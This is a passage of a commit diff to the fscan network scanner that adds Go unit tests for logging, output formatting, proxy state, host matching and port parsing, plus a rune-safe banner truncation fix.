mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 03:10:42 +08:00
Harden scan robustness and tests
This commit is contained in:
@@ -0,0 +1,11 @@
|
||||
//go:build !debug
|
||||
// +build !debug
|
||||
|
||||
package debug
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestStubStartStop(t *testing.T) {
|
||||
Start()
|
||||
Stop()
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
package common
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestDNSCacheResolveIPAndCacheHit(t *testing.T) {
|
||||
cache := &dnsCache{}
|
||||
|
||||
first, err := cache.ResolveIP("127.0.0.1")
|
||||
if err != nil {
|
||||
t.Fatalf("ResolveIP loopback error = %v", err)
|
||||
}
|
||||
second, err := cache.ResolveIP("127.0.0.1")
|
||||
if err != nil {
|
||||
t.Fatalf("ResolveIP cached loopback error = %v", err)
|
||||
}
|
||||
if first != second {
|
||||
t.Fatal("ResolveIP should return cached address on second lookup")
|
||||
}
|
||||
|
||||
if _, err := cache.ResolveIP("bad host with spaces"); err == nil {
|
||||
t.Fatal("ResolveIP should reject an invalid host")
|
||||
}
|
||||
}
|
||||
+51
-1
@@ -1,6 +1,10 @@
|
||||
package common
|
||||
|
||||
import "testing"
|
||||
import (
|
||||
"errors"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestHostInfoTargetUsesBracketedIPv6(t *testing.T) {
|
||||
info := &HostInfo{Host: "2001:db8::1", Port: 443}
|
||||
@@ -15,3 +19,49 @@ func TestHostInfoTargetDoesNotDoubleBracketIPv6(t *testing.T) {
|
||||
t.Fatalf("Target() = %q, want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGlobalHelpersAndPacketLimitErrors(t *testing.T) {
|
||||
if GetVersion() == "" {
|
||||
t.Fatal("GetVersion returned empty string")
|
||||
}
|
||||
if !ContainsAny("hello fscan", "none", "scan") {
|
||||
t.Fatal("ContainsAny should find a matching substring")
|
||||
}
|
||||
if ContainsAny("hello fscan", "none", "missing") {
|
||||
t.Fatal("ContainsAny should return false when nothing matches")
|
||||
}
|
||||
|
||||
maxErr := &PacketLimitError{Sentinel: ErrMaxPacketReached, Limit: 5, Current: 5}
|
||||
if !errors.Is(maxErr, ErrMaxPacketReached) || !strings.Contains(maxErr.Error(), "5") {
|
||||
t.Fatalf("max packet error = %v", maxErr)
|
||||
}
|
||||
|
||||
rateErr := &PacketLimitError{Sentinel: ErrPacketRateLimited, Limit: 3, Current: 2}
|
||||
if !errors.Is(rateErr, ErrPacketRateLimited) || !strings.Contains(rateErr.Error(), "3") {
|
||||
t.Fatalf("rate limit error = %v", rateErr)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCanSendPacketUsesGlobalConfigAndState(t *testing.T) {
|
||||
previousConfig := GetGlobalConfig()
|
||||
previousState := GetGlobalState()
|
||||
t.Cleanup(func() {
|
||||
SetGlobalConfig(previousConfig)
|
||||
SetGlobalState(previousState)
|
||||
})
|
||||
|
||||
cfg := NewConfig()
|
||||
cfg.Network.MaxPacketCount = 1
|
||||
state := NewState()
|
||||
state.IncrementPacketCount()
|
||||
SetGlobalConfig(cfg)
|
||||
SetGlobalState(state)
|
||||
|
||||
ok, reason := CanSendPacket()
|
||||
if ok {
|
||||
t.Fatal("CanSendPacket should reject when max packet count is reached")
|
||||
}
|
||||
if reason == "" {
|
||||
t.Fatal("CanSendPacket should return a rejection reason")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,37 @@
|
||||
package i18n
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestLanguageLifecycleAndFallbacks(t *testing.T) {
|
||||
original := GetLanguage()
|
||||
t.Cleanup(func() { SetLanguage(original) })
|
||||
|
||||
SetLanguage(LangEN)
|
||||
if got := GetLanguage(); got != LangEN {
|
||||
t.Fatalf("language = %q, want %q", got, LangEN)
|
||||
}
|
||||
if got := GetText("concurrency_plugin"); got == "" || got == "concurrency_plugin" {
|
||||
t.Fatalf("english text = %q, want translated text", got)
|
||||
}
|
||||
if got := Tr("debug_cpu_profile_started", "/tmp/profiles"); !strings.Contains(got, "/tmp/profiles") {
|
||||
t.Fatalf("formatted english text = %q, want path included", got)
|
||||
}
|
||||
|
||||
SetLanguage(LangZH)
|
||||
if got := GetLanguage(); got != LangZH {
|
||||
t.Fatalf("language = %q, want %q", got, LangZH)
|
||||
}
|
||||
if got := GetText("concurrency_plugin"); got == "" || got == "concurrency_plugin" {
|
||||
t.Fatalf("chinese text = %q, want translated text", got)
|
||||
}
|
||||
|
||||
if got := GetText("missing_translation_key"); got != "missing_translation_key" {
|
||||
t.Fatalf("missing GetText = %q, want key", got)
|
||||
}
|
||||
if got := Tr("missing_translation_key", "ignored"); got != "missing_translation_key" {
|
||||
t.Fatalf("missing Tr = %q, want key", got)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestValidateExclusiveParams(t *testing.T) {
|
||||
previous := GetFlagVars()
|
||||
t.Cleanup(func() { flagVars = previous })
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
info *HostInfo
|
||||
flags *FlagVars
|
||||
wantErr string
|
||||
}{
|
||||
{name: "host only", info: &HostInfo{Host: "127.0.0.1"}, flags: &FlagVars{}},
|
||||
{name: "url only", info: &HostInfo{}, flags: &FlagVars{TargetURL: "http://example.com"}},
|
||||
{name: "local only", info: &HostInfo{}, flags: &FlagVars{LocalPlugin: "sshkey"}},
|
||||
{name: "host and url conflict", info: &HostInfo{Host: "127.0.0.1"}, flags: &FlagVars{TargetURL: "http://example.com"}, wantErr: "-h"},
|
||||
{name: "host url local conflict", info: &HostInfo{Host: "127.0.0.1"}, flags: &FlagVars{TargetURL: "http://example.com", LocalPlugin: "sshkey"}, wantErr: "-local"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
flagVars = tt.flags
|
||||
err := ValidateExclusiveParams(tt.info)
|
||||
if tt.wantErr == "" {
|
||||
if err != nil {
|
||||
t.Fatalf("ValidateExclusiveParams error = %v", err)
|
||||
}
|
||||
return
|
||||
}
|
||||
if err == nil || !strings.Contains(err.Error(), tt.wantErr) {
|
||||
t.Fatalf("ValidateExclusiveParams error = %v, want containing %q", err, tt.wantErr)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCleanupWithoutOutput(t *testing.T) {
|
||||
oldResultOutput := ResultOutput
|
||||
oldStdoutWriter := StdoutWriter
|
||||
t.Cleanup(func() {
|
||||
ResultOutput = oldResultOutput
|
||||
StdoutWriter = oldStdoutWriter
|
||||
})
|
||||
|
||||
ResultOutput = nil
|
||||
StdoutWriter = nil
|
||||
if err := Cleanup(); err != nil {
|
||||
t.Fatalf("Cleanup error = %v", err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
package common
|
||||
|
||||
import "testing"
|
||||
|
||||
func preserveLoggerForTest(t *testing.T) {
|
||||
t.Helper()
|
||||
|
||||
loggerMu.Lock()
|
||||
oldSilentRefs := silentLoggerRefs
|
||||
silentLoggerRefs = 0
|
||||
resetLoggerLocked()
|
||||
loggerMu.Unlock()
|
||||
|
||||
t.Cleanup(func() {
|
||||
loggerMu.Lock()
|
||||
closeLoggerLocked()
|
||||
silentLoggerRefs = oldSilentRefs
|
||||
resetLoggerLocked()
|
||||
loggerMu.Unlock()
|
||||
})
|
||||
}
|
||||
|
||||
func TestLoggerFacadeSilentLifecycle(t *testing.T) {
|
||||
preserveLoggerForTest(t)
|
||||
|
||||
previousFlags := GetFlagVars()
|
||||
previousState := GetGlobalState()
|
||||
t.Cleanup(func() {
|
||||
flagVars = previousFlags
|
||||
SetGlobalState(previousState)
|
||||
})
|
||||
flagVars = &FlagVars{Silent: true, LogLevel: "debug"}
|
||||
SetGlobalState(NewState())
|
||||
|
||||
InitLogger()
|
||||
LogDebug("debug")
|
||||
LogInfo("info")
|
||||
LogSuccess("success")
|
||||
LogVuln("vuln")
|
||||
LogError("error")
|
||||
CloseLogger()
|
||||
}
|
||||
|
||||
func TestPushSilentLoggerReferenceCount(t *testing.T) {
|
||||
preserveLoggerForTest(t)
|
||||
|
||||
restoreOne := PushSilentLogger()
|
||||
restoreTwo := PushSilentLogger()
|
||||
if silentLoggerRefs != 2 {
|
||||
t.Fatalf("silent refs = %d, want 2", silentLoggerRefs)
|
||||
}
|
||||
|
||||
restoreOne()
|
||||
restoreOne()
|
||||
if silentLoggerRefs != 1 {
|
||||
t.Fatalf("silent refs after first restore = %d, want 1", silentLoggerRefs)
|
||||
}
|
||||
|
||||
restoreTwo()
|
||||
if silentLoggerRefs != 0 {
|
||||
t.Fatalf("silent refs after second restore = %d, want 0", silentLoggerRefs)
|
||||
}
|
||||
}
|
||||
@@ -2,6 +2,8 @@ package logging
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
@@ -160,6 +162,13 @@ func TestLogger_AllLevels(t *testing.T) {
|
||||
wantMsg: "success message",
|
||||
wantPfx: PrefixSuccess,
|
||||
},
|
||||
{
|
||||
name: "Vuln级别",
|
||||
logFunc: logger.Vuln,
|
||||
message: "vuln message",
|
||||
wantMsg: "vuln message",
|
||||
wantPfx: PrefixVuln,
|
||||
},
|
||||
{
|
||||
name: "Error级别",
|
||||
logFunc: logger.Error,
|
||||
@@ -650,3 +659,34 @@ func TestLogger_Initialize(t *testing.T) {
|
||||
|
||||
t.Logf("✓ Initialize测试通过")
|
||||
}
|
||||
|
||||
func TestLogger_CloseClosesDebugFile(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "debug.log")
|
||||
logger := NewLogger(&LoggerConfig{
|
||||
Level: LevelAll,
|
||||
EnableColor: false,
|
||||
ShowProgress: false,
|
||||
StartTime: time.Now(),
|
||||
LevelColors: GetDefaultLevelColors(),
|
||||
DebugLogFile: path,
|
||||
})
|
||||
if logger.debugFile == nil {
|
||||
t.Fatal("debug file should be opened")
|
||||
}
|
||||
|
||||
logger.Info("debug file line")
|
||||
logger.Close()
|
||||
if logger.debugFile != nil {
|
||||
t.Fatal("debug file should be nil after Close")
|
||||
}
|
||||
|
||||
content, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
t.Fatalf("read debug file: %v", err)
|
||||
}
|
||||
if !strings.Contains(string(content), "debug file line") {
|
||||
t.Fatalf("debug file content = %q", string(content))
|
||||
}
|
||||
|
||||
logger.Close()
|
||||
}
|
||||
|
||||
@@ -0,0 +1,52 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net/http"
|
||||
"testing"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/proxy"
|
||||
)
|
||||
|
||||
func TestNetworkFacadeProxyState(t *testing.T) {
|
||||
t.Cleanup(func() { proxy.AutoConfigureProxy(proxy.DefaultProxyConfig()) })
|
||||
proxy.AutoConfigureProxy(proxy.DefaultProxyConfig())
|
||||
|
||||
if IsProxyEnabled() || IsSOCKS5Proxy() || !IsProxyReliable() {
|
||||
t.Fatal("direct global proxy state should be disabled and reliable")
|
||||
}
|
||||
|
||||
proxy.AutoConfigureProxy(&proxy.ProxyConfig{Type: proxy.ProxyTypeSOCKS5})
|
||||
if !IsProxyEnabled() || !IsSOCKS5Proxy() || !IsProxyReliable() {
|
||||
t.Fatal("SOCKS5 global proxy state should be enabled and SOCKS5")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSafeHTTPDoUsesGlobalPacketLimit(t *testing.T) {
|
||||
previousConfig := GetGlobalConfig()
|
||||
previousState := GetGlobalState()
|
||||
t.Cleanup(func() {
|
||||
SetGlobalConfig(previousConfig)
|
||||
SetGlobalState(previousState)
|
||||
})
|
||||
|
||||
cfg := NewConfig()
|
||||
cfg.Network.MaxPacketCount = 1
|
||||
state := NewState()
|
||||
state.IncrementPacketCount()
|
||||
SetGlobalConfig(cfg)
|
||||
SetGlobalState(state)
|
||||
|
||||
client := &http.Client{Transport: roundTripFunc(func(*http.Request) (*http.Response, error) {
|
||||
t.Fatal("transport should not be called when packet limit is reached")
|
||||
return nil, nil
|
||||
})}
|
||||
req, err := http.NewRequestWithContext(context.Background(), http.MethodGet, "http://example.com", nil)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if resp, err := SafeHTTPDo(client, req); err == nil || resp != nil {
|
||||
t.Fatalf("SafeHTTPDo = resp %#v err %v, want limit error", resp, err)
|
||||
}
|
||||
}
|
||||
@@ -1,6 +1,11 @@
|
||||
package output
|
||||
|
||||
import "testing"
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestSplitHostPort(t *testing.T) {
|
||||
tests := []struct {
|
||||
@@ -33,3 +38,85 @@ func TestSplitHostPort(t *testing.T) {
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestNewStdoutNDJSONWriter(t *testing.T) {
|
||||
writer := NewStdoutNDJSONWriter()
|
||||
if writer == nil || writer.writer == nil {
|
||||
t.Fatalf("NewStdoutNDJSONWriter = %#v, want initialized writer", writer)
|
||||
}
|
||||
if err := writer.Close(); err != nil {
|
||||
t.Fatalf("Close error = %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStdoutNDJSONWriterWriteResult(t *testing.T) {
|
||||
var buf bytes.Buffer
|
||||
writer := &StdoutNDJSONWriter{writer: bufio.NewWriter(&buf)}
|
||||
|
||||
result := &ScanResult{
|
||||
Type: TypeService,
|
||||
Target: "[2001:db8::1]:8443",
|
||||
Status: "OPEN",
|
||||
Details: map[string]interface{}{
|
||||
"port": float64(9443),
|
||||
"service": "https",
|
||||
"protocol": "tcp",
|
||||
"banner": 123,
|
||||
"title": "admin",
|
||||
"url": "https://[2001:db8::1]:8443",
|
||||
"vulnerability": "weak credential",
|
||||
"username": "admin",
|
||||
"password": "secret",
|
||||
"plugin": "webtitle",
|
||||
"version": "1.2.3",
|
||||
"os": "linux",
|
||||
},
|
||||
}
|
||||
|
||||
if err := writer.WriteResult(result); err != nil {
|
||||
t.Fatalf("WriteResult error = %v", err)
|
||||
}
|
||||
if err := writer.Close(); err != nil {
|
||||
t.Fatalf("Close error = %v", err)
|
||||
}
|
||||
|
||||
var rec ndjsonRecord
|
||||
if err := json.Unmarshal(bytes.TrimSpace(buf.Bytes()), &rec); err != nil {
|
||||
t.Fatalf("invalid ndjson output %q: %v", buf.String(), err)
|
||||
}
|
||||
if rec.Host != "2001:db8::1" || rec.Port != 9443 {
|
||||
t.Fatalf("host/port = %q/%d", rec.Host, rec.Port)
|
||||
}
|
||||
if rec.Service != "https" || rec.Protocol != "tcp" || rec.Banner != "123" || rec.Title != "admin" {
|
||||
t.Fatalf("flattened fields missing: %#v", rec)
|
||||
}
|
||||
if rec.URL != "https://[2001:db8::1]:8443" || rec.Vulnerability != "weak credential" {
|
||||
t.Fatalf("url/vuln fields missing: %#v", rec)
|
||||
}
|
||||
if rec.Username != "admin" || rec.Password != "secret" || rec.Plugin != "webtitle" || rec.Version != "1.2.3" || rec.OS != "linux" {
|
||||
t.Fatalf("credential/plugin fields missing: %#v", rec)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStdoutNDJSONFlattenFallbacks(t *testing.T) {
|
||||
writer := &StdoutNDJSONWriter{writer: bufio.NewWriter(&bytes.Buffer{})}
|
||||
|
||||
rec := writer.flatten(&ScanResult{
|
||||
Type: TypeHost,
|
||||
Target: "2001:db8::1",
|
||||
Status: "ALIVE",
|
||||
Details: map[string]interface{}{
|
||||
"port": int64(22),
|
||||
},
|
||||
})
|
||||
if rec.Host != "2001:db8::1" || rec.Port != 22 {
|
||||
t.Fatalf("flatten fallback = %#v", rec)
|
||||
}
|
||||
|
||||
if got, ok := toInt("22"); ok || got != 0 {
|
||||
t.Fatalf("toInt string = %d/%v, want 0/false", got, ok)
|
||||
}
|
||||
if got := strVal(map[string]interface{}{}, "missing"); got != "" {
|
||||
t.Fatalf("missing strVal = %q, want empty", got)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -38,6 +38,19 @@ func escapeControlChars(s string) string {
|
||||
return b.String()
|
||||
}
|
||||
|
||||
func truncateString(s string, maxRunes int) string {
|
||||
if maxRunes < 0 {
|
||||
return s
|
||||
}
|
||||
for i := range s {
|
||||
if maxRunes == 0 {
|
||||
return s[:i] + "..."
|
||||
}
|
||||
maxRunes--
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func targetWithPort(target string, port interface{}) string {
|
||||
if port == nil {
|
||||
return target
|
||||
@@ -196,10 +209,8 @@ func (w *TXTWriter) formatServiceLine(result *ScanResult) string {
|
||||
parts = append(parts, service)
|
||||
}
|
||||
if banner != "" {
|
||||
if len(banner) > 100 {
|
||||
banner = banner[:100] + "..."
|
||||
}
|
||||
banner = escapeControlChars(banner)
|
||||
banner = truncateString(banner, 100)
|
||||
parts = append(parts, banner)
|
||||
}
|
||||
return strings.Join(parts, " ")
|
||||
@@ -745,9 +756,7 @@ func (w *CSVWriter) formatServiceRecord(result *ScanResult) []string {
|
||||
fingerprints = formatFingerprints(result.Details["fingerprints"])
|
||||
if b, ok := result.Details["banner"].(string); ok {
|
||||
banner = escapeControlChars(b)
|
||||
if len(banner) > 100 {
|
||||
banner = banner[:100] + "..."
|
||||
}
|
||||
banner = truncateString(banner, 100)
|
||||
}
|
||||
}
|
||||
target := result.Target
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
"unicode/utf8"
|
||||
)
|
||||
|
||||
/*
|
||||
@@ -82,6 +83,94 @@ func TestTargetWithPortIPv6(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestScanResultFormatDetailsAndDefaultManagerConfig(t *testing.T) {
|
||||
result := &ScanResult{
|
||||
Details: map[string]interface{}{
|
||||
"service": "ssh",
|
||||
"port": 22,
|
||||
"banner": "OpenSSH",
|
||||
},
|
||||
}
|
||||
got := result.FormatDetails(";", "%s=%v")
|
||||
want := "banner=OpenSSH;port=22;service=ssh"
|
||||
if got != want {
|
||||
t.Fatalf("FormatDetails = %q, want %q", got, want)
|
||||
}
|
||||
|
||||
empty := (&ScanResult{}).FormatDetails(";", "%s=%v")
|
||||
if empty != "" {
|
||||
t.Fatalf("empty FormatDetails = %q, want empty", empty)
|
||||
}
|
||||
|
||||
cfg := DefaultManagerConfig("out.json", FormatJSON)
|
||||
if cfg.OutputPath != "out.json" || cfg.Format != FormatJSON {
|
||||
t.Fatalf("DefaultManagerConfig = %#v", cfg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCSVWriterFormatRecords(t *testing.T) {
|
||||
writer := &CSVWriter{}
|
||||
|
||||
host := writer.formatHostRecord(&ScanResult{Target: "192.168.1.1"})
|
||||
if len(host) != 1 || host[0] != "192.168.1.1" {
|
||||
t.Fatalf("host record = %#v", host)
|
||||
}
|
||||
|
||||
port := writer.formatPortRecord(&ScanResult{
|
||||
Target: "192.168.1.1",
|
||||
Details: map[string]interface{}{"port": 22},
|
||||
})
|
||||
if got, want := strings.Join(port, "|"), "192.168.1.1|22|open"; got != want {
|
||||
t.Fatalf("port record = %q, want %q", got, want)
|
||||
}
|
||||
|
||||
longBanner := strings.Repeat("界", 105)
|
||||
service := writer.formatServiceRecord(&ScanResult{
|
||||
Target: "2001:db8::1",
|
||||
Details: map[string]interface{}{
|
||||
"port": 443,
|
||||
"name": "https",
|
||||
"version": "1.2.3",
|
||||
"title": "hello\nworld",
|
||||
"status": 200,
|
||||
"server": "nginx\r\nunit",
|
||||
"fingerprints": []interface{}{"fp1", "", "fp2", 3},
|
||||
"banner": longBanner,
|
||||
},
|
||||
})
|
||||
if service[0] != "[2001:db8::1]:443" || service[1] != "https" || service[2] != "1.2.3" {
|
||||
t.Fatalf("service identity fields = %#v", service)
|
||||
}
|
||||
if service[3] != "hello\\nworld" || service[4] != "200" || service[5] != "nginx\\r\\nunit" {
|
||||
t.Fatalf("service text fields = %#v", service)
|
||||
}
|
||||
if service[6] != "fp1,fp2" {
|
||||
t.Fatalf("fingerprints = %q, want fp1,fp2", service[6])
|
||||
}
|
||||
if !utf8.ValidString(service[7]) || len([]rune(service[7])) != 103 || !strings.HasSuffix(service[7], "...") {
|
||||
t.Fatalf("truncated banner = len %d value %q", len(service[7]), service[7])
|
||||
}
|
||||
|
||||
vuln := writer.formatVulnRecord(&ScanResult{
|
||||
Target: "http://example.com",
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{"type": "poc"},
|
||||
})
|
||||
if got, want := strings.Join(vuln, "|"), "http://example.com|poc|vulnerable"; got != want {
|
||||
t.Fatalf("vuln record = %q, want %q", got, want)
|
||||
}
|
||||
|
||||
if got := formatFingerprints([]string{"a", "b"}); got != "a,b" {
|
||||
t.Fatalf("string fingerprints = %q", got)
|
||||
}
|
||||
if got := formatFingerprints(123); got != "" {
|
||||
t.Fatalf("unsupported fingerprints = %q, want empty", got)
|
||||
}
|
||||
if writer.GetFormat() != FormatCSV {
|
||||
t.Fatalf("csv GetFormat = %q", writer.GetFormat())
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// TXTWriter - 基础功能测试
|
||||
// =============================================================================
|
||||
|
||||
@@ -0,0 +1,153 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/output"
|
||||
)
|
||||
|
||||
func readTestFile(t *testing.T, path string) string {
|
||||
t.Helper()
|
||||
|
||||
content, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
t.Fatalf("read %s: %v", path, err)
|
||||
}
|
||||
return string(content)
|
||||
}
|
||||
|
||||
func preserveOutputAPIGlobals(t *testing.T) {
|
||||
t.Helper()
|
||||
|
||||
globalMu.RLock()
|
||||
oldConfig := globalConfig
|
||||
oldState := globalState
|
||||
globalMu.RUnlock()
|
||||
|
||||
oldFlagVars := flagVars
|
||||
oldResultOutput := ResultOutput
|
||||
oldStdoutWriter := StdoutWriter
|
||||
|
||||
t.Cleanup(func() {
|
||||
if ResultOutput != nil && ResultOutput != oldResultOutput {
|
||||
_ = ResultOutput.Close()
|
||||
}
|
||||
if StdoutWriter != nil && StdoutWriter != oldStdoutWriter {
|
||||
_ = StdoutWriter.Close()
|
||||
}
|
||||
ClearResultCallback()
|
||||
|
||||
globalMu.Lock()
|
||||
globalConfig = oldConfig
|
||||
globalState = oldState
|
||||
globalMu.Unlock()
|
||||
|
||||
flagVars = oldFlagVars
|
||||
ResultOutput = oldResultOutput
|
||||
StdoutWriter = oldStdoutWriter
|
||||
})
|
||||
|
||||
ClearResultCallback()
|
||||
flagVars = &FlagVars{}
|
||||
ResultOutput = nil
|
||||
StdoutWriter = nil
|
||||
SetGlobalConfig(NewConfig())
|
||||
SetGlobalState(NewState())
|
||||
}
|
||||
|
||||
func TestInitOutputValidationAndDefaultExtension(t *testing.T) {
|
||||
preserveOutputAPIGlobals(t)
|
||||
|
||||
flagVars = &FlagVars{DisableSave: true}
|
||||
if err := InitOutput(); err != nil {
|
||||
t.Fatalf("InitOutput disable save error = %v", err)
|
||||
}
|
||||
if ResultOutput != nil {
|
||||
t.Fatalf("ResultOutput = %#v, want nil when save is disabled", ResultOutput)
|
||||
}
|
||||
|
||||
flagVars = &FlagVars{OutputFormat: "txt"}
|
||||
if err := InitOutput(); err == nil || !strings.Contains(err.Error(), "output file not specified") {
|
||||
t.Fatalf("missing output error = %v", err)
|
||||
}
|
||||
|
||||
flagVars = &FlagVars{Outputfile: "out.bad", OutputFormat: "xml"}
|
||||
if err := InitOutput(); err == nil || !strings.Contains(err.Error(), "invalid output format") {
|
||||
t.Fatalf("invalid format error = %v", err)
|
||||
}
|
||||
|
||||
dir := t.TempDir()
|
||||
t.Chdir(dir)
|
||||
flagVars = &FlagVars{Outputfile: "result.txt", OutputFormat: "json"}
|
||||
if err := InitOutput(); err != nil {
|
||||
t.Fatalf("InitOutput json error = %v", err)
|
||||
}
|
||||
if ResultOutput == nil {
|
||||
t.Fatal("ResultOutput should be initialized")
|
||||
}
|
||||
if err := SaveResult(&output.ScanResult{
|
||||
Time: time.Date(2026, 6, 13, 1, 2, 3, 0, time.UTC),
|
||||
Type: output.TypeHost,
|
||||
Target: "127.0.0.1",
|
||||
Status: "ALIVE",
|
||||
}); err != nil {
|
||||
t.Fatalf("SaveResult json error = %v", err)
|
||||
}
|
||||
if err := CloseOutput(); err != nil {
|
||||
t.Fatalf("CloseOutput error = %v", err)
|
||||
}
|
||||
if content := readTestFile(t, filepath.Join(dir, "result.json")); !strings.Contains(content, "127.0.0.1") {
|
||||
t.Fatalf("result.json content = %q, want saved target", content)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSaveResultFacadeCallbackAndDisabledSave(t *testing.T) {
|
||||
preserveOutputAPIGlobals(t)
|
||||
|
||||
cfg := NewConfig()
|
||||
cfg.Output.DisableSave = true
|
||||
SetGlobalConfig(cfg)
|
||||
|
||||
flagVars = &FlagVars{DisableSave: true}
|
||||
if err := InitOutput(); err != nil {
|
||||
t.Fatalf("InitOutput disable save error = %v", err)
|
||||
}
|
||||
|
||||
called := false
|
||||
SetResultCallback(func(payload interface{}) {
|
||||
called = true
|
||||
data, ok := payload.(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("callback payload type = %T", payload)
|
||||
}
|
||||
if data["type"] != string(output.TypeVuln) || data["target"] != "http://example.com" {
|
||||
t.Fatalf("callback payload = %#v", data)
|
||||
}
|
||||
})
|
||||
|
||||
if err := SaveResult(nil); err != nil {
|
||||
t.Fatalf("SaveResult nil error = %v", err)
|
||||
}
|
||||
if called {
|
||||
t.Fatal("nil result should not notify callback")
|
||||
}
|
||||
|
||||
if err := SaveResult(&output.ScanResult{
|
||||
Type: output.TypeVuln,
|
||||
Target: "http://example.com",
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{"type": "poc"},
|
||||
}); err != nil {
|
||||
t.Fatalf("SaveResult disabled save error = %v", err)
|
||||
}
|
||||
if !called {
|
||||
t.Fatal("callback was not notified")
|
||||
}
|
||||
if err := CloseOutput(); err != nil {
|
||||
t.Fatalf("CloseOutput disabled save error = %v", err)
|
||||
}
|
||||
}
|
||||
@@ -2,6 +2,7 @@ package parsers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"os"
|
||||
"reflect"
|
||||
"strings"
|
||||
@@ -103,3 +104,65 @@ func TestHostIteratorReadsLongHostFileLine(t *testing.T) {
|
||||
t.Fatalf("batch = %#v, want long host", batch)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMultiHostSourceAndMatcherCIDR(t *testing.T) {
|
||||
src := &multiHostSource{sources: []hostSource{
|
||||
&singleHostSource{host: "192.168.1.1"},
|
||||
&singleHostSource{host: "192.168.1.2"},
|
||||
}}
|
||||
|
||||
host, ok, err := src.Next()
|
||||
if err != nil || !ok || host != "192.168.1.1" {
|
||||
t.Fatalf("first Next = %q/%v/%v", host, ok, err)
|
||||
}
|
||||
host, ok, err = src.Next()
|
||||
if err != nil || !ok || host != "192.168.1.2" {
|
||||
t.Fatalf("second Next = %q/%v/%v", host, ok, err)
|
||||
}
|
||||
host, ok, err = src.Next()
|
||||
if err != nil || ok || host != "" {
|
||||
t.Fatalf("exhausted Next = %q/%v/%v", host, ok, err)
|
||||
}
|
||||
if err := src.Close(); err != nil {
|
||||
t.Fatalf("Close error = %v", err)
|
||||
}
|
||||
|
||||
matcher := newHostMatcher()
|
||||
if err := matcher.add("192.168.1.0/30,example.com"); err != nil {
|
||||
t.Fatalf("matcher add error = %v", err)
|
||||
}
|
||||
if !matcher.match("192.168.1.1") || !matcher.match("192.168.1.2") || !matcher.match("example.com") {
|
||||
t.Fatal("matcher should match CIDR hosts and exact host")
|
||||
}
|
||||
if matcher.match("192.168.1.3") || matcher.match("nope.example") {
|
||||
t.Fatal("matcher matched hosts outside its rules")
|
||||
}
|
||||
if err := matcher.add("2001:db8::/126"); err == nil {
|
||||
t.Fatal("IPv6 CIDR should be rejected by IPv4-only matcher")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCloseHostSourcesIgnoresCloseErrors(t *testing.T) {
|
||||
first := &closeTrackingSource{err: errors.New("close failed")}
|
||||
second := &closeTrackingSource{}
|
||||
|
||||
closeHostSources([]hostSource{first, second})
|
||||
|
||||
if !first.closed || !second.closed {
|
||||
t.Fatalf("sources closed = %v/%v, want both true", first.closed, second.closed)
|
||||
}
|
||||
}
|
||||
|
||||
type closeTrackingSource struct {
|
||||
closed bool
|
||||
err error
|
||||
}
|
||||
|
||||
func (s *closeTrackingSource) Next() (string, bool, error) {
|
||||
return "", false, nil
|
||||
}
|
||||
|
||||
func (s *closeTrackingSource) Close() error {
|
||||
s.closed = true
|
||||
return s.err
|
||||
}
|
||||
|
||||
@@ -386,6 +386,15 @@ func TestParsePort_PortGroups(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestParsePortGroupsRequireWholeToken(t *testing.T) {
|
||||
if got := ParsePort("web8080"); len(got) != 0 {
|
||||
t.Fatalf("ParsePort(web8080) = %v, want empty invalid token", got)
|
||||
}
|
||||
if got := ParsePort("web,8080"); len(got) == 0 || got[len(got)-1] != 28018 {
|
||||
